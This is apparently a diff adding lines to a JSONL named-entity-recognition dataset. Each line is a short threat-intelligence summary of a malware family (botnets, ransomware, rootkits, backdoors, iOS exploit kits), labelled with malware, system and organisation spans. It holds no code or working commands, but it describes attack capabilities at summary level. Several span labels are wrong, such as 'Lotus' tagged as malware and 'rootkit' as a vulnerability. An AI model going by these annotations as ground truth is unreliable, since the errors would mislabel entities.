+{"text": "According to Yarix digital security, this is a malware that allows to sniff on HTTPS traffic, implemented as Apache module.", "spans": {"SYSTEM: Apache": [[109, 115]]}, "info": {"source": "apt_reports", "name": "p0sT5n1F3r"}}
+{"text": "P2Pinfect is a fast-growing multi platform botnet, the purpose of which is still unknown. Written in Rust, it is compatible with Windows and Linux, including a MIPS variant for Linux based routers and IoT devices. It is capable of brute forcing SSH logins and exploiting Redis servers in order to propagate itself both to random IPs on the internet and to hosts it can find references to in files present on the infected system.", "spans": {"MALWARE: P2Pinfect": [[0, 9]], "TOOL: SSH": [[245, 248]], "SYSTEM: Rust": [[101, 105]], "SYSTEM: Windows": [[129, 136]], "SYSTEM: Linux": [[141, 146], [177, 182]], "SYSTEM: Redis": [[271, 276]]}, "info": {"source": "apt_reports", "name": "P2Pinfect"}}
+{"text": "According to 0x3oBAD, this is a 64-bit Linux ELF ransomware binary targeting VMware ESXi hypervisor environments. The sample combines a robust cryptographic scheme Curve25519 ECDHand ChaCha20 with ESXi-specific VM enumeration via the vmInventory.xml inventory file, graceful shutdown of running VMs before encryption, and a multi-threaded file encryption pipeline scaled to available CPU cores. The ransom note is delivered inside ESXi’s own web UI welcome.txt, replacing the host management interface greeting.", "spans": {"SYSTEM: ESXi": [[84, 88], [197, 201], [431, 435]], "SYSTEM: Linux": [[39, 44]], "SYSTEM: VMware": [[77, 83]]}, "info": {"source": "apt_reports", "name": "Payload "}}
+{"text": "P2P botnet derived from the Mirai source code.", "spans": {"MALWARE: Mirai": [[28, 33]]}, "info": {"source": "apt_reports", "name": "pbot"}}
+{"text": "A botnet with P2P and centralized C&C capabilities.", "spans": {}, "info": {"source": "apt_reports", "name": "Pink"}}
+{"text": "According to Mandiant, this is a SparkGateway plugin that loads LITTLELAMB.WOOLTEA through JNI.", "spans": {"ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: LITTLELAMB.WOOLTEA": [[64, 82]]}, "info": {"source": "apt_reports", "name": "PITFUEL"}}
+{"text": "According to Mandiant, PITHOOK hooks the accept and accept4 functions within the web process by modifying the PLT. When PITHOOK receives a buffer matching the predefined magic byte sequence, it will duplicate the socket and forward it to PITSTOP over the Unix domain socket /data/runtime/cockpit/wd.fd.", "spans": {"MALWARE: PITHOOK": [[23, 30], [120, 127]], "SYSTEM: Unix": [[255, 259]], "ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: PITSTOP": [[238, 245]]}, "info": {"source": "apt_reports", "name": "PITHOOK"}}
+{"text": "According to Mandiant, this is backdoor which hooks the accept and setsockopt of the web process by modifying its procedure linkage table (PLT). This enables backdoor communication via the Unix socket /tmp/clientsDownload.sock when it receives a specific 48-byte magic byte sequence in the incoming buffer.", "spans": {"FILEPATH: /tmp/clientsDownload.sock": [[201, 226]], "SYSTEM: Unix": [[189, 193]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "PITSOCK"}}
+{"text": "According to Nexttron Systems, this is an implant built as a malicious PAM (Pluggable Authentication Module), enabling attackers to silently bypass system authentication and gain persistent SSH access.", "spans": {"TOOL: SSH": [[190, 193]]}, "info": {"source": "apt_reports", "name": "Plague"}}
+{"text": "According to Sekoia, this is a form of TLS backdoor containing pre-defined commands. Their investigation initially identified Cisco routers as a target but they also uncovered other payloads from the same family, but targeting different devices, notably Asus, QNAP and Synology. A working hypothesis suggests that devices compromised with PolarEdge could be used as Operational Relay Boxes (ORB) to facilitate offensive cyber operations.", "spans": {"MALWARE: PolarEdge": [[339, 348]], "SYSTEM: Synology": [[269, 277]], "SYSTEM: Cisco": [[126, 131]], "SYSTEM: QNAP": [[260, 264]], "ORGANIZATION: Sekoia": [[13, 19]]}, "info": {"source": "apt_reports", "name": "PolarEdge"}}
+{"text": "Part of Mythic C2, written in Golang.", "spans": {"TOOL: Mythic": [[8, 14]]}, "info": {"source": "apt_reports", "name": "Poseidon"}}
+{"text": "Black Lotus Labs identified malware for the Windows Subsystem for Linux (WSL). Mostly written in Python but compiled as Linux ELF files.", "spans": {"SYSTEM: Windows": [[44, 51]], "SYSTEM: Python": [[97, 103]], "SYSTEM: Linux": [[66, 71], [120, 125]], "ORGANIZATION: Black Lotus Labs": [[0, 16]], "MALWARE: Lotus": [[6, 11]]}, "info": {"source": "apt_reports", "name": "PrivetSanya"}}
+{"text": "Unit 42 describes this as a malware used by Rocke Group that deploys an XMRig miner.", "spans": {"THREAT_ACTOR: Rocke": [[44, 49]], "ORGANIZATION: Unit 42": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Pro-Ocean"}}
+{"text": "According to Elastic, PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers. \r\n\r\nThe rootkit component, referenced by the malware authors as “PUMA\", employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. \r\n\r\nKey functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.\r\n\r\nThere is also an accompanying userland SO rootkit internally referred to as Kitsune.", "spans": {"MALWARE: PUMAKIT": [[22, 29]], "MALWARE: PUMA": [[274, 278], [482, 486]], "MALWARE: Kitsune": [[944, 951]], "SYSTEM: Linux": [[301, 306]], "ORGANIZATION: Elastic": [[13, 20]], "VULNERABILITY: privilege escalation": [[528, 548], [681, 701]], "VULNERABILITY: rootkit": [[78, 85], [217, 224], [910, 917]]}, "info": {"source": "apt_reports", "name": "PUMAKIT"}}
+{"text": "Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.", "spans": {"MALWARE: pupy": [[452, 456]], "TOOL: powershell": [[200, 210]], "SYSTEM: Linux": [[176, 181]], "MALWARE: Pupy": [[0, 4], [101, 105], [468, 472]]}, "info": {"source": "apt_reports", "name": "pupy"}}
+{"text": "Qilin ransomware, initially observed in July 2022 under the name “Agenda,” operates on a Ransomware-as-a-Service (RaaS) model. This model allows core developers to provide their malicious software and infrastructure to affiliates in exchange for a percentage of the profits generated from attacks. The name “Qilin” references a Chinese mythological creature symbolizing power and prosperity, a fitting metaphor for the group’s perceived influence and financial objectives. Despite the Chinese name, the group is linked to Russian-speaking cybercriminals, often recruiting affiliates on Russian-language forums and notably excluding Commonwealth of Independent States (CIS) countries from its targets.", "spans": {"MALWARE: Qilin": [[0, 5], [308, 313]], "MALWARE: Agenda": [[66, 72]]}, "info": {"source": "apt_reports", "name": "Qilin"}}
+{"text": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.", "spans": {"MALWARE: QNAPCrypt": [[4, 13]], "ORGANIZATION: RSA": [[528, 531]]}, "info": {"source": "apt_reports", "name": "QNAPCrypt"}}
+{"text": "The malware infects QNAP NAS devices, is persisting via various mechanisms and resists cleaning by preventing firmware updates and interfering with QNAP MalwareRemover. The malware steals passwords and hashes", "spans": {"SYSTEM: QNAP": [[20, 24], [148, 152]], "SYSTEM: NAS": [[25, 28]]}, "info": {"source": "apt_reports", "name": "QSnatch"}}
+{"text": "Mandiant observed this backdoor being observed by UNC3524. It is based on the open-source Dropbear SSH source code.", "spans": {"THREAT_ACTOR: UNC3524": [[50, 57]], "TOOL: SSH": [[99, 102]], "ORGANIZATION: Mandiant": [[0, 8]]}, "info": {"source": "apt_reports", "name": "QUIETEXIT"}}
+{"text": "According to SentineOne, RansomEXX (aka Defray, Defray777), a multi-pronged extortion threat, has been observed in the wild since late 2020. RansomEXX is associated with attacks against the Texas Department of Transportation, Groupe Atlantic, and several other large enterprises. There are Windows and Linux variants of this malware family, and they are known for their limited and exclusive targeting.", "spans": {"MALWARE: RansomEXX": [[25, 34], [141, 150]], "MALWARE: Defray777": [[48, 57]], "SYSTEM: Windows": [[290, 297]], "SYSTEM: Linux": [[302, 307]], "MALWARE: Defray": [[40, 46]]}, "info": {"source": "apt_reports", "name": "RansomEXX"}}
+{"text": "According to IBM Security X-Force, this is a new but functionally very similar version of RansomExx, fully rewritten in Rust and internally referred to as RansomExx2.", "spans": {"MALWARE: RansomExx2": [[155, 165]], "SYSTEM: Rust": [[120, 124]], "ORGANIZATION: X-Force": [[26, 33]], "ORGANIZATION: IBM": [[13, 16]]}, "info": {"source": "apt_reports", "name": "RansomExx2"}}
+{"text": "A Mirai derivate bruteforcing SSH servers.", "spans": {"TOOL: SSH": [[30, 33]], "MALWARE: Mirai": [[2, 7]]}, "info": {"source": "apt_reports", "name": "RapperBot"}}
+{"text": "RedTail is a cryptomining malware, which is based on the open-source XMRIG mining software. It is being spread via known vulnerabilities such as:\r\n- CVE-2024-3400 \r\n- CVE-2023-46805\r\n- CVE-2024-21887\r\n- CVE-2023-1389\r\n- CVE-2022-22954\r\n- CVE-2018-20062", "spans": {"CVE_ID: CVE-2024-3400": [[149, 162]], "CVE_ID: CVE-2023-46805": [[167, 181]], "CVE_ID: CVE-2024-21887": [[185, 199]], "CVE_ID: CVE-2023-1389": [[203, 216]], "CVE_ID: CVE-2022-22954": [[220, 234]], "CVE_ID: CVE-2018-20062": [[238, 252]], "MALWARE: RedTail": [[0, 7]]}, "info": {"source": "apt_reports", "name": "RedTail"}}
+{"text": "RedXOR is a sophisticated backdoor targeting Linux systems disguised as polkit daemon and utilizing network data encoding based on XOR. Believed to be developed by Chinese nation-state actors, this malware shows similarities to other malware associated with the Winnti umbrella threat group. \r\n\r\nRedXOR uses various techniques such as open-source LKM rootkits, Python pty shell, and network data encoding with XOR. It also employs persistence methods and communication with a Command and Control server over HTTP. \r\n\r\nThe malware can execute various commands including system information collection, updates, shell commands, and network tunneling.", "spans": {"MALWARE: RedXOR": [[0, 6], [296, 302]], "SYSTEM: Python": [[361, 367]], "SYSTEM: Linux": [[45, 50]]}, "info": {"source": "apt_reports", "name": "RedXOR"}}
+{"text": "Ransomware that targets Linux VMware ESXi servers. Encryption procedure uses the NTRUEncrypt public-key encryption algorithm.", "spans": {"SYSTEM: ESXi": [[37, 41]], "SYSTEM: Linux": [[24, 29]], "SYSTEM: VMware": [[30, 36]]}, "info": {"source": "apt_reports", "name": "RedAlert Ransomware"}}
+{"text": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm.\r\n\r\nSome versions have there configuration stored within the .data section using RC4 to encrypt the details.\r\n\r\nConfiguration options include C2 IP and Port, as well as defence evasion details for changing the process name.", "spans": {"SYSTEM: Linux": [[13, 18]], "ORGANIZATION: Intel": [[79, 84]]}, "info": {"source": "apt_reports", "name": "Rekoobe"}}
+{"text": "ELF version of win.revil targeting VMware ESXi hypervisors.", "spans": {"MALWARE: revil": [[19, 24]], "SYSTEM: ESXi": [[42, 46]], "SYSTEM: VMware": [[35, 41]]}, "info": {"source": "apt_reports", "name": "REvil"}}
+{"text": "P2P Botnet discovered by Netlab360. The botnet infects linux servers via the Webmin RCE vulnerability (CVE-2019-15107) which allows attackers to run malicious code with root privileges and take over older Webmin versions. Based on the Netlabs360 analysis, the botnet serves mainly 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs and four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.", "spans": {"CVE_ID: CVE-2019-15107": [[103, 117]], "VULNERABILITY: RCE": [[84, 87]], "VULNERABILITY: DDoS": [[458, 462]]}, "info": {"source": "apt_reports", "name": "Roboto"}}
+{"text": "RotaJakiro is a stealthy Linux backdoor which remained undetected between 2018 and 2021.\r\nThe malware uses rotating encryption to encrypt the resource information within the sample, and C2 communication, using a combination of AES, XOR, ROTATE encryption and ZLIB compression.", "spans": {"MALWARE: RotaJakiro": [[0, 10]], "SYSTEM: Linux": [[25, 30]]}, "info": {"source": "apt_reports", "name": "RotaJakiro"}}
+{"text": "According to Trendmicro, Royal ransomware was first observed in September 2022, and the threat actors behind it are believed to be seasoned cybercriminals who used to be part of Conti Team One.", "spans": {"MALWARE: Royal": [[25, 30]], "MALWARE: Conti": [[178, 183]]}, "info": {"source": "apt_reports", "name": "Royal Ransom"}}
+{"text": "According to Cisco Talos, RushDrop is a dropper used by UAT-7290 for deploying SilentRaid", "spans": {"MALWARE: RushDrop": [[26, 34]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]], "MALWARE: SilentRaid": [[79, 89]]}, "info": {"source": "apt_reports", "name": "RushDrop"}}
+{"text": "According to Mandiant, SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor functionality. SALTWATER can upload or download arbitrary files, execute commands, and has proxy and tunneling capabilities. The backdoor is implemented using hooks on the send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and amounts to five components, most of which are referred to as \"Channels\" within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.", "spans": {"MALWARE: SALTWATER": [[23, 32], [117, 126]], "SYSTEM: Barracuda": [[53, 62]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SALTWATER"}}
+{"text": "Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).", "spans": {"CVE_ID: CVE-2014-8361": [[178, 191]], "MALWARE: Satori": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Satori"}}
+{"text": "According to CISA, this malware is a persistent backdoor that masquerades as a legitimate Barracuda Networks service. The malware is designed to listen to commands received from the Threat Actor’s Command-and-Control through TCP packets. When executed, the malware uses libpcap sniffer to monitor traffic for a magic packet on TCP port 25 (SMTP) and TCP port 587. It checks the network packet captured for a hard-coded string. When the right sequence of packet is captured, it establishes a TCP reverse shell to the C2 server for further exploitation. This allows the TA to execute arbitrary commands on the compromised system.\r\nThe malware is based on an open-source backdoor program named \"cd00r\".", "spans": {"SYSTEM: Barracuda": [[90, 99]], "ORGANIZATION: CISA": [[13, 17]], "MALWARE: cd00r": [[692, 697]]}, "info": {"source": "apt_reports", "name": "SEASPY"}}
+{"text": "Ransomware, likely based on the leaked Babuk source code.", "spans": {"MALWARE: Babuk": [[39, 44]]}, "info": {"source": "apt_reports", "name": "SEXi"}}
+{"text": "According to Fortinet, this is a Mirai fork propagating through multiple vulnerabilities. ShadowV2 had previously been observed targeting AWS EC2 instances in campaigns disclosed in September 2025.", "spans": {"MALWARE: ShadowV2": [[90, 98]], "SYSTEM: Fortinet": [[13, 21]], "SYSTEM: AWS": [[138, 141]], "MALWARE: Mirai": [[33, 38]]}, "info": {"source": "apt_reports", "name": "ShadowV2"}}
+{"text": "According to STRIKE, ShortLeash is a custom backdoor used to create an ORB network. It generates unique, self-signed TLS certificates with spoofed metadata for each node. Analysis of these certificates revealed over 1000 active nodes globally and victimology supports attribution to China-Nexus APTs.", "spans": {"MALWARE: ShortLeash": [[21, 31]]}, "info": {"source": "apt_reports", "name": "ShortLeash"}}
+{"text": "According to Cisco Talos, SilentRaid is a primary implant used by UAT-7290 in intrusions meant to establish persistent access to compromised endpoints. It communicates with its command-and-control server (C2) and carries out tasks defined in the malware.", "spans": {"MALWARE: SilentRaid": [[26, 36]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "SilentRaid"}}
+{"text": "SimpleTea for Linux is an HTTP(S) RAT. \r\n\r\nIt was discovered in Q1 2023 as an instance of the Lazarus group's Operation DreamJob campaign for Linux. It was a payload downloaded in an execution chain which started with an HSBC-themed job offer lure. It shared the same C&C server as payloads from the 3CX incident around the same time.\r\n\r\nIt’s an object-oriented project, which does not run on Linux distributions without a graphical user interface, and decrypts its configuration from /home/%user%/.config/apdl.cf using 0x7E as the XOR key. It uses AES-GCM for encryption and decryption of its network traffic.\r\n\r\nIt supports basic commands that include operations on the victim’s filesystem, manipulation with its configuration, file exfiltration (via ZIP archives), and the download and execution of additional tools from the attacker’s arsenal. The commands are indexed by 16-bit integers, starting with the value 0x27C3.\r\n\r\nSimpleTea for Linux seems like an updated version of BadCall for Linux, rewritten from C to C++, as there are similarities in class names and function names between the two.", "spans": {"FILEPATH: /home/%user%/.config/apdl.cf": [[485, 513]], "DOMAIN: apdl.cf": [[506, 513]], "MALWARE: SimpleTea": [[0, 9], [928, 937]], "SYSTEM: Linux": [[14, 19], [142, 147], [393, 398], [942, 947], [993, 998]]}, "info": {"source": "apt_reports", "name": "SimpleTea"}}
+{"text": "According to its author, this is a stealthy Linux Kernel Rootkit for modern kernels (6x).", "spans": {"SYSTEM: Linux": [[44, 49]]}, "info": {"source": "apt_reports", "name": "Singularity"}}
+{"text": "According to FireEye, SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.", "spans": {"MALWARE: SLAPSTICK": [[22, 31]], "SYSTEM: Solaris": [[37, 44]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "SLAPSTICK"}}
+{"text": "According to PwC, SnappyTCP is a simple reverse shell for Linux/Unix systems, with variants for plaintext and TLS communication. SeaTurtle has used SnappyTCP at least between 2021 and 2023.", "spans": {"MALWARE: SnappyTCP": [[18, 27], [148, 157]], "SYSTEM: Unix": [[64, 68]], "SYSTEM: Linux": [[58, 63]], "ORGANIZATION: PwC": [[13, 16]]}, "info": {"source": "apt_reports", "name": "SnappyTCP"}}
+{"text": "According to sysdig, SNOWLIGHT is used as a dropper for its fileless payload (vshell).", "spans": {"MALWARE: SNOWLIGHT": [[21, 30]]}, "info": {"source": "apt_reports", "name": "SNOWLIGHT"}}
+{"text": "This is an implant used by APT31 on home routers to utilize them as ORBs.", "spans": {"THREAT_ACTOR: APT31": [[27, 32]]}, "info": {"source": "apt_reports", "name": "SoWaT"}}
+{"text": "According to Mandiant, this is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.", "spans": {"SYSTEM: Linux": [[74, 79]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SPAWNSNARE"}}
+{"text": "According to FireEye, STEELCORGI is a packer for Linux ELF files that makes use of execution guardrails by sourcing decryption key material from environment variables.", "spans": {"MALWARE: STEELCORGI": [[22, 32]], "SYSTEM: Linux": [[49, 54]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "STEELCORGI"}}
+{"text": "Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software.", "spans": {"FILEPATH: /bin/bash": [[278, 287]], "TOOL: wget": [[221, 225]], "SYSTEM: Linux": [[158, 163]], "VULNERABILITY: brute-force": [[105, 116]]}, "info": {"source": "apt_reports", "name": "sustes miner"}}
+{"text": "A malware capable of capturing credentials and enabling backdoor access, implemented as a userland rootkit. It uses three methods for hiding its network activity, by hooking and hijacking 1) fopen/fopen64, 2) eBPF, 3) a set of libpcap functions.", "spans": {"VULNERABILITY: rootkit": [[99, 106]]}, "info": {"source": "apt_reports", "name": "Symbiote"}}
+{"text": "Cryptojacking botnet", "spans": {}, "info": {"source": "apt_reports", "name": "Sysrv-hello"}}
+{"text": "Since Fall 2019, Team TNT is a well known threat actor which targets *nix based systems and misconfigured Docker container environments. It has constantly evolved its capabilities for its cloud-based cryptojacking operations. They have shifted their focus on compromising Kubernetes Clusters.", "spans": {"SYSTEM: Kubernetes": [[272, 282]], "SYSTEM: Docker": [[106, 112]]}, "info": {"source": "apt_reports", "name": "TeamTNT"}}
+{"text": "According to its author, TripleCross is a Linux eBPF rootkit that demonstrates the offensive capabilities of the eBPF technology.", "spans": {"MALWARE: TripleCross": [[25, 36]], "SYSTEM: Linux": [[42, 47]], "VULNERABILITY: rootkit": [[53, 60]]}, "info": {"source": "apt_reports", "name": "TripleCross"}}
+{"text": "According to Cybereason, these scripts have been used in an ongoing campaign exploiting a widespread vulnerability in the Exim MTA: CVE-2019-10149. This attack leverages a week-old vulnerability to gain remote command execution on the target machine, search the Internet for other machines to infect, and initiates a crypto miner.", "spans": {"CVE_ID: CVE-2019-10149": [[132, 146]], "ORGANIZATION: Cybereason": [[13, 23]]}, "info": {"source": "apt_reports", "name": "Unidentified Linux 001"}}
+{"text": "Implant used by APT31 on compromised SOHO infrastructure, tries to camouflage as a tool (\"unifi-video\") related to Ubiquiti UniFi surveillance cameras.", "spans": {"THREAT_ACTOR: APT31": [[16, 21]], "SYSTEM: Ubiquiti": [[115, 123]]}, "info": {"source": "apt_reports", "name": "Unidentified ELF 004"}}
+{"text": "Enables remote execution of scripts on a host, communicates via Tox.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified ELF 006 (Tox Backdoor)"}}
+{"text": "According to Synacktiv, vGet is an in-memory stager for vShell, written in Rust.", "spans": {"MALWARE: vGet": [[24, 28]], "SYSTEM: Rust": [[75, 79]]}, "info": {"source": "apt_reports", "name": "vGet"}}
+{"text": "VoidLink is a cloud-native Linux malware family designed as a modular post-exploitation framework for modern cloud and containerized environments. It features a plugin-based architecture with dynamically loadable components that provide reconnaissance, credential harvesting, privilege escalation, lateral movement, persistence, and anti-forensic capabilities. The framework demonstrates strong operational security through runtime encryption, environment awareness (cloud provider and container detection), and the use of user-mode and kernel-level rootkit techniques to evade detection.\r\n\r\nVoidLink is not a repurposed legacy tool but a purpose-built framework optimized for cloud infrastructure, indicating a shift in advanced threat development toward Linux-based cloud workloads. Although no confirmed large-scale infections have been observed, its maturity and design suggest potential use by sophisticated threat actors for long-term, stealthy access to cloud environments.", "spans": {"MALWARE: VoidLink": [[0, 8], [592, 600]], "SYSTEM: Linux": [[27, 32], [756, 761]], "VULNERABILITY: privilege escalation": [[276, 296]], "VULNERABILITY: rootkit": [[550, 557]]}, "info": {"source": "apt_reports", "name": "VoidLink"}}
+{"text": "According to Intezer, this is a spreader module used by WatchBog. It is a dynamically linked ELF executable, compiled with Cython. C&C adresses are fetched from Pastebin. C&C communication references unique identification keys per victim. It contains a BlueKeep scanner, reporting positively scanned hosts to the C&C server (RC4 encrypted within SSL/TLS). It contains 5 exploits targeting Jira, Exim, Solr, Jenkins and Nexus Repository Manager 3.", "spans": {"MALWARE: WatchBog": [[56, 64]], "SYSTEM: Jira": [[389, 393]], "SYSTEM: Jenkins": [[407, 414]], "ORGANIZATION: Intezer": [[13, 20]], "VULNERABILITY: BlueKeep": [[253, 261]]}, "info": {"source": "apt_reports", "name": "WatchBog"}}
+{"text": "According to 360 netlab, this backdoor was derived from the leaked CIA Hive project. It propagates via a vulnerability in F5 and communicates using SSL with a forged Kaspersky certificate.", "spans": {"SYSTEM: Kaspersky": [[166, 175]], "ORGANIZATION: CIA": [[67, 70]], "MALWARE: Hive": [[71, 75]]}, "info": {"source": "apt_reports", "name": "xdr33"}}
+{"text": "Linux DDoS C&C Malware", "spans": {"SYSTEM: Linux": [[0, 5]], "VULNERABILITY: DDoS": [[6, 10]]}, "info": {"source": "apt_reports", "name": "XOR DDoS"}}
+{"text": "Zergeca is a DDoS-botnet and backdoor written in Golang. It uses modified UPX for packing, with the magic number 0x30219101 instead of \"UPX!\". It is being distributed via weak telnet passwords and known vulnerabilities.", "spans": {"MALWARE: Zergeca": [[0, 7]], "TOOL: UPX": [[74, 77], [136, 139]], "VULNERABILITY: DDoS": [[13, 17]]}, "info": {"source": "apt_reports", "name": "Zergeca"}}
+{"text": "ZeroBot is a Go-based botnet that spreads primarily through IoT and web application vulnerabilities. It is offered as malware as a service (MaaS) and infrastructure overlaps with DDoS-for-hire services seized by the FBI in December 2022.", "spans": {"MALWARE: ZeroBot": [[0, 7]], "SYSTEM: Go": [[13, 15]], "ORGANIZATION: FBI": [[216, 219]], "VULNERABILITY: DDoS": [[179, 183]]}, "info": {"source": "apt_reports", "name": "ZeroBot"}}
+{"text": "According to Black Lotus Labs, ZuoRAT is a MIPS file compiled for SOHO routers that can enumerate a host and internal LAN, capture packets being transmitted over the infected device and perform person-in-the-middle attacks (DNS and HTTPS hijacking based on predefined rules).", "spans": {"MALWARE: ZuoRAT": [[31, 37]], "ORGANIZATION: Black Lotus Labs": [[13, 29]], "MALWARE: Lotus": [[19, 24]]}, "info": {"source": "apt_reports", "name": "ZuoRAT"}}
+{"text": "Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.", "spans": {}, "info": {"source": "apt_reports", "name": "AutoCAD Downloader"}}
+{"text": "According to Google, this is a cookie stealer", "spans": {"ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "COOKIESNATCH"}}
+{"text": "According to Google, this is a new and powerful exploit kit targeting Apple iPhone models running iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in December 2023). The exploit kit, named \"Coruna\" by its developers, contained five full iOS exploit chains and a total of 23 exploits. The core technical value of this exploit kit lies in its comprehensive collection of iOS exploits, with the most advanced ones using non-public exploitation techniques and mitigation bypasses.", "spans": {"MALWARE: Coruna": [[218, 224]], "SYSTEM: iOS": [[98, 101], [265, 268], [397, 400]], "ORGANIZATION: Apple": [[70, 75]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Coruna"}}
+{"text": "Commercial spyware by Intellexa.", "spans": {}, "info": {"source": "apt_reports", "name": "Predator"}}
+{"text": "According to Google, this reconnaissance payload uses a profiling framework drawing canvas to identify the target’s exact iPhone model, a technique used by many other actors. The iPhone model is sent back to the C2 along with screen size, whether or not a touch screen is present, and a unique identifier per initial GET request (e.g., 1lwuzddaxoom5ylli37v90kj).\r\nThe server replies with either an AES encrypted next stage or 0, indicating that no payload is available for this device. The payload makes another request to the exploit server with gcr=1 as a parameter to get the AES decryption key from the C2.", "spans": {"ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "VALIDVICTOR"}}
+{"text": "The iOS malware that is installed over USB by osx.wirelurker", "spans": {"MALWARE: wirelurker": [[50, 60]], "SYSTEM: iOS": [[4, 7]]}, "info": {"source": "apt_reports", "name": "WireLurker"}}
+{"text": "Part of Malware-as-service platform\r\nUsed as a generic name for Java-based RAT\r\nFunctionality\r\n- collect general system and user information \r\n- terminate process\r\n-log keystroke\r\n-take screenshot and access webcam\r\n- steal cache password from local or web forms\r\n- download and execute Malware\r\n- modify registry\r\n- download components\r\n- Denial of Service attacks\r\n- Acquire VPN certificates\r\n\r\nInitial infection vector\r\n1. Email to JAR files attached\r\n2. Malspam URL to downlaod the malware\r\n\r\nPersistence\r\n- Runkey - HKCU\\Software\\Microsoft\\Windows\\current version\\run\r\n\r\nHiding\r\nUses attrib.exe \r\n\r\nNotes on Adwind\r\nThe malware is not known to be proxy aware", "spans": {"MALWARE: Adwind": [[613, 619]], "SYSTEM: Java": [[64, 68]], "SYSTEM: Windows": [[545, 552]], "SYSTEM: VPN": [[377, 380]], "ORGANIZATION: Microsoft": [[535, 544]], "MALWARE: attrib": [[589, 595]]}, "info": {"source": "apt_reports", "name": "AdWind"}}
+{"text": "According to VMRay, this malware family uses in interesting obfuscation technique: a trailing slash in its archive to confuse analysis tools. It abuses #GitHub as a #C2 and exfiltrates stolen data, such as browser cookies, via Discord webhooks. The GitHub repositories are quite active and exist since mid to late 2024. The malware also monitors keyboard and mouse input, takes screenshots.", "spans": {"SYSTEM: GitHub": [[153, 159], [249, 255]], "SYSTEM: Discord": [[227, 234]]}, "info": {"source": "apt_reports", "name": "Akemi"}}
+{"text": "F-Secure observed Banload variants silently downloading malicious files from a remote server, then installing and executing the files.", "spans": {"MALWARE: Banload": [[18, 25]], "ORGANIZATION: F-Secure": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Banload"}}
+{"text": "DynamicRAT is a malware that is spread via email attachments and compromises the security of computer systems. Once running on a device, DynamicRAT establishes a persistent presence and gives attackers complete remote control. Its features include sensitive data exfiltration, hardware control, remote action, and the ability to perform DDoS attacks. In addition, DynamicRAT uses evasion and persistence techniques to evade detection and analysis by security solutions.", "spans": {"MALWARE: DynamicRAT": [[0, 10], [137, 147], [364, 374]], "VULNERABILITY: DDoS": [[337, 341]]}, "info": {"source": "apt_reports", "name": "DynamicRAT"}}
+{"text": "EpicSplit RAT is a multiplatform Java RAT that is capable of running shell commands, downloading, uploading, and executing files, manipulating the file system, establishing persistence, taking screenshots, and manipulating keyboard and mouse events. EpicSplit is typically obfuscated with the commercial Allatori Obfuscator software. One unique feature of the malware is that TCP messages sent by EpicSplit RAT to its C2 are terminated with the string \"_packet_\" as a packet delimiter.", "spans": {"MALWARE: EpicSplit RAT": [[0, 13], [397, 410]], "SYSTEM: Java": [[33, 37]]}, "info": {"source": "apt_reports", "name": "EpicSplit RAT"}}
